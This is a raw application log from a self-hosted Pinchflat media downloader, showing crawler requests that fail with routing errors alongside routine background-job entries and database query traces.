"74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/force_metadata_refresh (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263985.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/force_metadata_refresh", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 55278}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263986.0>, params: %{}, path_info: ["sources", "1", "force_metadata_refresh"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:40:31.578 [info] {"source":"oban","duration":1318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.770 [info] {"source":"oban","duration":495,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:01.580 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:22.930 [info] GET /sources/5/force_download_pending 02:41:22.931 [debug] QUERY OK source="settings" db=0.3ms idle=285.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:22.931 [debug] QUERY OK source="settings" db=0.2ms idle=286.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:41:22.932 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:41:22.932 [error] #PID<0.263994.0> running PinchflatWeb.Endpoint (connection #PID<0.263993.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/5/force_download_pending ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263994.0>, params: %{}, path_info: ["sources", "5", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.243.204"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.243.204"} ], request_path: "/sources/5/force_download_pending", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIELmYcYXQvSkHEAJ_MB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/5/force_download_pending (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.263993.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/5/force_download_pending", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 57350}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.243.204", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.243.204" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.263994.0>, params: %{}, path_info: ["sources", "5", "force_download_pending"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "htt (truncated) 02:41:31.582 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.771 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:01.584 [info] {"source":"oban","duration":1301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:27.104 [info] GET /sources/1/media/10/edit 02:42:27.104 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.edit/2 Parameters: %{"id" => "10", "source_id" => "1"} Pipelines: [:browser] 02:42:27.105 [debug] QUERY OK source="media_items" db=0.3ms queue=0.1ms idle=459.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [10] 02:42:27.106 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=460.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:27.106 [debug] QUERY OK source="settings" db=0.2ms idle=460.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:27.107 [debug] QUERY OK source="settings" db=0.2ms idle=461.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:42:27.109 [info] Sent 200 in 5ms 02:42:31.586 [info] {"source":"oban","duration":1330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.772 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:01.588 [info] {"source":"oban","duration":1351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:31.590 [info] {"source":"oban","duration":1518,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.773 [info] {"source":"oban","duration":314,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:01.592 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:31.594 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.774 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:01.596 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:31.598 [info] {"source":"oban","duration":1296,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.775 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:01.600 [info] {"source":"oban","duration":1245,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:31.601 [info] {"source":"oban","duration":920,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.776 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:01.604 [info] {"source":"oban","duration":1223,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:31.606 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.777 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:01.608 [info] {"source":"oban","duration":1321,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:31.610 [info] {"source":"oban","duration":1553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:32.519 [info] GET /sources/4/media/102834 02:48:32.519 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102834", "prevent_download" => "true", "source_id" => "4"} Pipelines: [:browser] 02:48:32.520 [debug] QUERY OK source="media_items" db=0.5ms idle=1860.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102834] 02:48:32.521 [debug] QUERY OK source="tasks" db=0.3ms idle=1861.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102834] 02:48:32.521 [debug] QUERY OK source="sources" db=0.6ms idle=1806.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:48:32.522 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=911.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2630] 02:48:32.523 [debug] QUERY OK source="settings" db=0.4ms idle=806.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:32.524 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:32.525 [debug] QUERY OK source="settings" db=0.3ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:32.526 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:48:32.530 [info] Sent 200 in 11ms 02:48:59.930 [info] GET /sources/5/media/100350 02:48:59.930 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "100350", "prevent_download" => "true", "source_id" => "5"} Pipelines: [:browser] 02:48:59.931 [debug] QUERY OK source="media_items" db=0.4ms idle=271.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [100350] 02:48:59.932 [debug] QUERY OK source="tasks" db=0.3ms idle=272.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [100350] 02:48:59.932 [debug] QUERY OK source="sources" db=0.6ms idle=272.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 02:48:59.933 [debug] QUERY OK source="settings" db=0.2ms idle=274.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:59.934 [debug] QUERY OK source="settings" db=0.2ms idle=161.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:59.935 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=3.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:59.936 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:48:59.939 [info] Sent 200 in 9ms 02:49:00.778 [info] {"source":"oban","duration":204,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:49:01.612 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:24.452 [info] GET /sources/4/media/102836 02:49:24.452 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102836", "prevent_download" => "true", "source_id" => "4"} Pipelines: [:browser] 02:49:24.453 [debug] QUERY OK source="media_items" db=0.3ms idle=1793.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102836] 02:49:24.454 [debug] QUERY OK source="tasks" db=0.4ms idle=1635.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102836] 02:49:24.454 [debug] QUERY OK source="sources" db=0.7ms idle=794.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:49:24.455 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=795.8ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2632] 02:49:24.456 [debug] QUERY OK source="settings" db=0.2ms idle=635.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:24.456 [debug] QUERY OK source="settings" db=0.2ms idle=3.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:24.457 [debug] QUERY OK source="settings" db=0.2ms idle=3.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:24.459 [debug] QUERY OK source="media_profiles" db=0.3ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:49:24.462 [info] Sent 200 in 10ms 02:49:31.614 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:46.550 [info] GET /sources/4/media/102835 02:49:46.551 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "102835", "prevent_download" => "true", "source_id" => "4"} Pipelines: [:browser] 02:49:46.552 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=1689.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102835] 02:49:46.553 [debug] QUERY OK source="tasks" db=0.4ms idle=893.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [102835] 02:49:46.553 [debug] QUERY OK source="sources" db=0.5ms idle=893.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 02:49:46.554 [debug] QUERY OK source="oban_jobs" db=0.3ms idle=894.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [2631] 02:49:46.554 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=690.1ms SELECT s0."id", s0."onboarding", 